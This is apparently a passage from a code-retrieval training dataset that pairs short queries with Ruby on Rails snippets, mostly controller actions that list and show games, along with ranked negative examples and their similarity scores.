"def filter_inapplicable_question_groups\n @surveys_question_groups.to_a.select! do |survey_question_group|\n next false if survey_question_group.question_group.questions.empty?\n # via QuestionGroupsHelper\n course_meets_conditions_for_question_group?(survey_question_group.question_group)\n end\n end"
] |
[
"0.61272585",
"0.61108524",
"0.61067",
"0.60683024",
"0.5968416",
"0.5955396",
"0.5916999",
"0.588814",
"0.5854326",
"0.58454305",
"0.58391696",
"0.5759866",
"0.5756406",
"0.5670165",
"0.5669306",
"0.5669306",
"0.5630359",
"0.56222266",
"0.5608819",
"0.5571818",
"0.55392826",
"0.5532713",
"0.5491534",
"0.5490076",
"0.5483792",
"0.5466951",
"0.5464222",
"0.5452824",
"0.5451393",
"0.5450158",
"0.54001087",
"0.53967285",
"0.53927076",
"0.5389509",
"0.5388355",
"0.5386042",
"0.53854495",
"0.53854495",
"0.53854495",
"0.53854495",
"0.53841376",
"0.5362712",
"0.5361701",
"0.5361001",
"0.5345084",
"0.53422076",
"0.5338571",
"0.53310573",
"0.5327671",
"0.53255266",
"0.53086424",
"0.530421",
"0.53022164",
"0.53022164",
"0.53002185",
"0.5294297",
"0.52832",
"0.52795523",
"0.52428615",
"0.5228802",
"0.52254885",
"0.52215695",
"0.5217652",
"0.5215841",
"0.5214492",
"0.5214492",
"0.519284",
"0.519284",
"0.51850384",
"0.5179952",
"0.51675284",
"0.5164954",
"0.5154064",
"0.5151096",
"0.5148925",
"0.5139158",
"0.51365155",
"0.51245946",
"0.5119605",
"0.5119605",
"0.5119605",
"0.5108691",
"0.5108598",
"0.5108333",
"0.51064855",
"0.51036924",
"0.51036924",
"0.51036924",
"0.50985116",
"0.5098038",
"0.5097181",
"0.50893503",
"0.508029",
"0.50771314",
"0.50750077",
"0.505972",
"0.50553095",
"0.50514436",
"0.50492495",
"0.50424546",
"0.5034848"
] |
0.0
|
-1
|
GET /games GET /games.json
|
def index
@games = Game.all.order("date DESC")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @games = Game.available\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n render json: @games\n end",
"def index\n @games = current_user.games\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n game = Game.all\n\n render json: game, include: :teams\n end",
"def index\n @games = Game.order('title')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def games\n @logger.log(BEFORE_CHECK_GAMES)\n parsed_response = get_and_parse(\"/api/games/my_turn.json\")\n games = parsed_response[\"body\"]\n @logger.log(AFTER_CHECK_GAMES, \"Found #{games.size} games\")\n games\n end",
"def show\n @game = Game.find(params[:id])\n render json: @game, status: 200\n end",
"def index\n @games = Game.paginate page: params[:page], order: 'created_at desc', per_page: 10\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.find_all_by_meeting_id(@meeting.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games_leaderboards = Games::Leaderboard.all\n\n render json: @games_leaderboards\n end",
"def show\n render json: @game\n end",
"def index\n @games = Game.all\n @player_games = current_user.games rescue nil\n @ongoing_games = Game.where(outcome: 'In progress').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def show\n render json: @games_leaderboard\n end",
"def index\n game = Game.find(params[:game_id])\n @player_games = game.player_games\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @player_games }\n format.json { render :json => @player_games}\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def index\n @mini_games = MiniGame.all\n render json: @mini_games, status: :ok\n end",
"def show\n @user = User.find(params[:user_id]) \n @game = @user.games.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @game }\n end\n end",
"def index\n @video_games = VideoGame.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @video_games }\n end\n end",
"def show\n @user = User.find_by_id(params[:id])\n\n if @user\n render json: @user.to_json(include: [:games]), status: 200\n else\n render json: {error: \"User not found\"}, status: 404\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def index\n @games = Game.all\n raise RecordNotFound, 'No records on games' if @games.empty?\n\n # TODO: Just for Test. Do not forget to delete when finish the test.\n # raise 'error !!'\n # sleep 1\n\n render 'index', formats: 'json', handlers: 'jbuilder'\n end",
"def show\n @game = Game.instance\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n render json: Game.find(params[:id])\n end",
"def show_game\n @game = Event.where(\n game_id: params[:game_id]\n ).order(:game_date, :id)\n\n render json: @game, status: 200\n end",
"def index\n gon.yourID = current_user.id\n current_user.game == nil ? @games = Game.all : @games = Game.find(current_user.game.id)\n @team1 = @games.team1.users if @games.try :team1\n @team2 = @games.team2.users if @games.try :team2\n respond_to do |format|\n format.html\n format.json { render :json => { :games => @games.to_json(:include => [:users]),\n :user => current_user.game,\n :will => current_user.will,\n :team1 => @team1,\n :team2 => @team2 }\n }\n end\n end",
"def fetch_json(game)\n RestClient.post(\"#{ENV['BASE_URI']}\" + \"#{ENV['ENDPOINT']}\", game.to_json, content_type: :json)\n end",
"def show\n @game = Game.find(params[:id])\n @home_team = Team.find(@game.home_team_id)\n @away_team = Team.find(@game.away_team_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def index\n @games = current_user.games_ended.paginate(page: current_page, per_page: GAMES_PER_PAGE)\n games_count = current_user.games_ended.count\n\n render json: { games_count: games_count,\n current_page: current_page,\n total_pages: total_pages(games_count),\n games: @games\n }, status: 200\n end",
"def search\n games_data = BoardGameAtlas::API.search(params[:name])\n render json: { games: games_data.map }\n end",
"def index\n @games = Game.get_all_active\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n\t\t@games = Game.all\n\tend",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @arcade_games }\n end\n end",
"def games_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi.games_get ...\"\n end\n # resource path\n local_var_path = \"/games\"\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2004')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#games_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def game\n fetch('games.super_mario.games')\n end",
"def index\n @games = @theme.games.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @games.to_xml }\n end\n end",
"def get_games_url\n \"#{@user_url}/games/?tab=all\"\n end",
"def index\n @game_servers = Game::Server.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @game_servers }\n end\n end",
"def show\n @user = User.find(params[:id])\n @games = @user.games\n\n end",
"def index\n listing_games\n end",
"def index\n @games = Game.paginate(page: params[:page], per_page: 10) # list 10 games per page\n end",
"def index\n @game_systems = GameSystem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @game_systems }\n end\n end",
"def index\n @games = @organization.games\n end",
"def show\n @game = Game.find_by_id(params[:id])\n\n unless @game\n flash[:error] = \"Game not found.\"\n redirect_to games_path\n return\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @gameplay = Gameplay.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gameplay }\n end\n end",
"def games_get(opts = {})\n data, _status_code, _headers = games_get_with_http_info(opts)\n return data\n end",
"def index\n @games = current_user.games\n end",
"def show\n @bestgame = Bestgame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bestgame }\n end\n end",
"def fetch_games\n games, doc = [], get_xml(bungie_net_recent_games_url)\n (doc/:item).each_with_index do |item, i|\n games[i] = {\n :title => (item/:title).inner_html,\n :date => (item/:pubDate).inner_html.to_time,\n :link => (item/'link').inner_html,\n :description => (item/:description).inner_html,\n :gameid => pull_gameid((item/'link').inner_html)\n }\n end\n return games\n end",
"def show\n if Game.last\n @game = Game.find(params[:id])\n render json: @game\n else\n @game = Game.create()\n render json: @game\n end\n end",
"def index\n @games = current_creator.games\n redirect_to root_path\n end",
"def show\n @player_game = PlayerGame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @player_game }\n end\n end",
"def show\n @posts = @game.posts.order(created_at: :desc).paginate(page: params[:page], per_page: 5)\n respond_to do |format|\n format.json { render template: 'api/games/game.json' }\n end\n end",
"def get_games\n @games = Game.where(:user_id=>:id)\n end",
"def index\n @games = @season.games #Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @games }\n end\n end",
"def index\n if params[:term]\n @games = Game.search(params[:term]).paginate(page: params[:page], per_page: 10)\n elsif params[:filter]\n @filter = params[:filter]\n ids = []\n if @filter == 'popular'\n Game.popular(25).each { |k, _v| ids << k }\n elsif @filter == 'favorited'\n Game.favorited(25).each { |k, _v| ids << k }\n elsif @filter == 'owned'\n Game.owned(25).each { |k, _v| ids << k }\n elsif @filter == 'recent'\n Game.recently_added(25).each { |g| ids << g }\n elsif @filter == 'import'\n Game.none\n end\n @games = Game.for_ids_with_order(ids).paginate(page: params[:page], per_page: 10)\n else\n ids = []\n Game.popular(25).each { |k, _v| ids << k }\n @games = Game.for_ids_with_order(ids).paginate(page: params[:page], per_page: 10)\n end\n\n respond_to do |format|\n format.json.array! @games, partial: 'game.json'\n end\n end",
"def index\n @games = Game.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @games }\n format.text { render :text => @games.map { |g| \"#{g.gameid}\\n\" } }\n end\n end",
"def index\n @games = current_user.games\n @my_turns = current_user.games.my_turn\n\n respond_to do |format|\n format.html do\n @game = Game.new # for the form\n render :action => 'index'\n end\n format.json do\n render json: (params[:my_turn] ? @my_turns : @games)\n end\n end\n end",
"def show\n @game_stat = GameStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_stat }\n end\n end",
"def index\n @teams = Team.all\n render json: @teams\n end",
"def show\n @old_game = OldGame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @old_game }\n end\n end",
"def show\n # puts \"PARAMSSSSS CONTROLLER #{params[:id]}\"\n url = \"https://api-2445582011268.apicast.io/games/#{params[:id]}\"\n response = HTTParty.get(url, headers: {\"user-key\" => Figaro.env.igdb_api_key, \"Accept\": \"application/json\"})\n @game_response = response.parsed_response\n end",
"def show\n @game_game_instance = Game::GameInstance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_game_instance }\n end\n end",
"def index\n @available_games = Game.available(current_user)\n @users_games = Game.users_games(current_user)\n end",
"def index\n player = Player.all\n render json: players, status: 200\n end",
"def index\n @players = Player.all\n render json: @players, status: 200\n end",
"def index\n @games = Game.all\n respond_to do |format|\n format.html\n format.json { render :json => @games }\n format.xml { render :xml => @games }\n format.csv { render :csv => @posts }\n format.js\n end\n end"
] |
[
"0.801388",
"0.7969819",
"0.7854131",
"0.7795904",
"0.77952725",
"0.77952725",
"0.77952725",
"0.7618289",
"0.75276613",
"0.74230546",
"0.74158394",
"0.7390365",
"0.73540944",
"0.7318076",
"0.72921306",
"0.7247407",
"0.7209582",
"0.7190768",
"0.7177297",
"0.7177297",
"0.7177297",
"0.7177297",
"0.7177297",
"0.7177297",
"0.7177297",
"0.71707463",
"0.71584094",
"0.71278137",
"0.7116972",
"0.71049",
"0.7092541",
"0.70740473",
"0.7053364",
"0.7051802",
"0.7030534",
"0.7028812",
"0.7024914",
"0.70072764",
"0.69620264",
"0.6957773",
"0.69546497",
"0.69543886",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69501257",
"0.69388497",
"0.6922813",
"0.6913105",
"0.6889157",
"0.6888164",
"0.6852824",
"0.68526334",
"0.68519014",
"0.68193346",
"0.6815733",
"0.6812895",
"0.68116",
"0.6804615",
"0.67975587",
"0.67935896",
"0.6790638",
"0.67863816",
"0.6780091",
"0.6774465",
"0.67723477",
"0.6753603",
"0.6746565",
"0.6720901",
"0.67037916",
"0.66763616",
"0.66600144",
"0.6643752",
"0.6642371",
"0.66416657",
"0.66399306",
"0.6634744",
"0.66214937",
"0.6609838",
"0.6607518",
"0.66054916",
"0.6588816"
] |
0.0
|
-1
|
GET /games/1 GET /games/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @game = Game.find(params[:id])\n render json: @game, status: 200\n end",
"def index\n @games = Game.available\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n render json: @games\n end",
"def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def index\n @games = current_user.games\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @game }\n end\n end",
"def index\n @games = Game.order('title')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def show\n render json: Game.find(params[:id])\n end",
"def show\n render json: @game\n end",
"def show\n @user = User.find(params[:user_id]) \n @game = @user.games.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @game }\n end\n end",
"def index\n game = Game.all\n\n render json: game, include: :teams\n end",
"def show\n @game = Game.instance\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @game }\n end\n end",
"def index\n @games = Game.find_all_by_meeting_id(@meeting.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def show\n if Game.last\n @game = Game.find(params[:id])\n render json: @game\n else\n @game = Game.create()\n render json: @game\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def index\n @games = Game.paginate page: params[:page], order: 'created_at desc', per_page: 10\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def show_game\n @game = Event.where(\n game_id: params[:game_id]\n ).order(:game_date, :id)\n\n render json: @game, status: 200\n end",
"def show\n @user = User.find_by_id(params[:id])\n\n if @user\n render json: @user.to_json(include: [:games]), status: 200\n else\n render json: {error: \"User not found\"}, status: 404\n end\n end",
"def show\n render json: @games_leaderboard\n end",
"def show\n @gameplay = Gameplay.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gameplay }\n end\n end",
"def show\n @game = Game.find_by_id(params[:id])\n\n unless @game\n flash[:error] = \"Game not found.\"\n redirect_to games_path\n return\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def index\n @mini_games = MiniGame.all\n render json: @mini_games, status: :ok\n end",
"def show\n @bestgame = Bestgame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bestgame }\n end\n end",
"def fetch_json(game)\n RestClient.post(\"#{ENV['BASE_URI']}\" + \"#{ENV['ENDPOINT']}\", game.to_json, content_type: :json)\n end",
"def index\n @games_leaderboards = Games::Leaderboard.all\n\n render json: @games_leaderboards\n end",
"def index\n game = Game.find(params[:game_id])\n @player_games = game.player_games\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @player_games }\n format.json { render :json => @player_games}\n end\n end",
"def show\n @game = Game.find(params[:id])\n @home_team = Team.find(@game.home_team_id)\n @away_team = Team.find(@game.away_team_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @player_game = PlayerGame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @player_game }\n end\n end",
"def show\n @game_stat = GameStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_stat }\n end\n end",
"def show\n @game_game_instance = Game::GameInstance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_game_instance }\n end\n end",
"def index\n @games = Game.all\n @player_games = current_user.games rescue nil\n @ongoing_games = Game.where(outcome: 'In progress').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def show\n @old_game = OldGame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @old_game }\n end\n end",
"def show\n # puts \"PARAMSSSSS CONTROLLER #{params[:id]}\"\n url = \"https://api-2445582011268.apicast.io/games/#{params[:id]}\"\n response = HTTParty.get(url, headers: {\"user-key\" => Figaro.env.igdb_api_key, \"Accept\": \"application/json\"})\n @game_response = response.parsed_response\n end",
"def game\n fetch('games.super_mario.games')\n end",
"def index\n @games = Game.all\n raise RecordNotFound, 'No records on games' if @games.empty?\n\n # TODO: Just for Test. Do not forget to delete when finish the test.\n # raise 'error !!'\n # sleep 1\n\n render 'index', formats: 'json', handlers: 'jbuilder'\n end",
"def show\n @user = User.find(params[:id])\n @games = @user.games\n\n end",
"def index\n @video_games = VideoGame.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @video_games }\n end\n end",
"def index\n gon.yourID = current_user.id\n current_user.game == nil ? @games = Game.all : @games = Game.find(current_user.game.id)\n @team1 = @games.team1.users if @games.try :team1\n @team2 = @games.team2.users if @games.try :team2\n respond_to do |format|\n format.html\n format.json { render :json => { :games => @games.to_json(:include => [:users]),\n :user => current_user.game,\n :will => current_user.will,\n :team1 => @team1,\n :team2 => @team2 }\n }\n end\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def show\n @game_system = GameSystem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_system }\n end\n end",
"def show\n @game_tournament = GameTournament.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_tournament }\n end\n end",
"def games\n @logger.log(BEFORE_CHECK_GAMES)\n parsed_response = get_and_parse(\"/api/games/my_turn.json\")\n games = parsed_response[\"body\"]\n @logger.log(AFTER_CHECK_GAMES, \"Found #{games.size} games\")\n games\n end",
"def show\n @game = Game.find(params[:id])\n\n if @game.nil? \n respond_to do |format|\n format.all { render :status => :not_found, :text => \"Game not found.\" }\n end\n else\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @game }\n format.json { render :json => @game }\n end\n end\n end",
"def index\n\t\t@games = Game.all\n\tend",
"def show\n @video_game = VideoGame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video_game }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @arcade_games }\n end\n end",
"def show\n @game_server = Game::Server.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_server }\n end\n end",
"def index\n @games = @theme.games.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @games.to_xml }\n end\n end",
"def index\n @games = current_creator.games\n redirect_to root_path\n end",
"def show\n @posts = @game.posts.order(created_at: :desc).paginate(page: params[:page], per_page: 5)\n respond_to do |format|\n format.json { render template: 'api/games/game.json' }\n end\n end",
"def get_game\n @game = Game.find(params[:game_id])\n end",
"def get_game\n @game = Game.find(params[:game_id])\n end",
"def show\n @game_score = GameScore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_score }\n end\n end",
"def index\n @games = @organization.games\n end",
"def index\n @game_servers = Game::Server.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @game_servers }\n end\n end",
"def show\n @player_game_stat = PlayerGameStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @player_game_stat }\n end\n end",
"def show\n @game_player = GamePlayer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_player }\n end\n end",
"def index\n @games = Game.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @games }\n format.text { render :text => @games.map { |g| \"#{g.gameid}\\n\" } }\n end\n end",
"def show\n @game = Game.find(params[:id])\n @moves = @game.moves\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def game_details\n new_game = Game.last\n\n render :json => new_game.to_json( :include => :players )\n end",
"def index\n listing_games\n end",
"def index\n @game_systems = GameSystem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @game_systems }\n end\n end",
"def show\n @pgn_file = PgnFile.find(params[:id])\n @games = @pgn_file.games.page(params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pgn_file }\n end\n end",
"def index\n @games = Game.get_all_active\n end",
"def show\n game = Game.find(params[:game_id])\n @player_game = game.player_games.find(params[:id])\n\n respond_to do |format|\n format.html { redirect_to @player_game.game, :stab => 1 }\n format.json { render :json => @player_game}\n end\n\n end",
"def games_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi.games_get ...\"\n end\n # resource path\n local_var_path = \"/games\"\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2004')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#games_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def new\n @user = User.find(params[:user_id])\n @game = @user.games.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @game }\n end\n end",
"def show\n @game_watch = GameWatch.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_watch }\n end\n end"
] |
[
"0.77774805",
"0.77492905",
"0.77341574",
"0.75965285",
"0.75962996",
"0.75962996",
"0.75962996",
"0.7543047",
"0.74719816",
"0.74719816",
"0.74719816",
"0.74719816",
"0.74719816",
"0.74719816",
"0.74719816",
"0.7428268",
"0.74045074",
"0.7395587",
"0.73370796",
"0.733467",
"0.7298956",
"0.7242426",
"0.72264177",
"0.7213465",
"0.71707636",
"0.7149283",
"0.713789",
"0.7104457",
"0.71035814",
"0.71010584",
"0.7096434",
"0.7093745",
"0.70532614",
"0.7044359",
"0.70430785",
"0.70421165",
"0.7036599",
"0.7003945",
"0.6981556",
"0.69637966",
"0.6936086",
"0.6935995",
"0.68982756",
"0.6892015",
"0.68838316",
"0.68794197",
"0.6878434",
"0.6863494",
"0.6814823",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.68110013",
"0.67801046",
"0.6767457",
"0.6762125",
"0.6750589",
"0.67487925",
"0.67357725",
"0.6724746",
"0.67102426",
"0.6703343",
"0.6696767",
"0.6696451",
"0.6694326",
"0.6694326",
"0.6686001",
"0.66823274",
"0.66664433",
"0.6664516",
"0.66536885",
"0.66528696",
"0.6647495",
"0.66266567",
"0.6623793",
"0.66170466",
"0.6613073",
"0.66077113",
"0.6602987",
"0.65942526",
"0.65795386",
"0.6574169"
] |
0.0
|
-1
|
Check to see if the virtual machine is in execute mode.
|
def execute_mode?
@context[:mode] == :execute
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def execute?(cmd)\n execution_result = execute(cmd)\n !execution_result.nil? && execution_result\n end",
"def executable?\n @executable || (@executable.nil? && !garbage? && plan && plan.executable?)\n end",
"def exec?(cmd, options={})\n exit_status, stdout, stderr, cmd = exec(cmd, options)\n return (exit_status == 0)\n end",
"def running?\n ck_valid\n kvm = File.basename(SysConf.value_for :kvm_bin)\n cmdline =~ /#{kvm}/\n end",
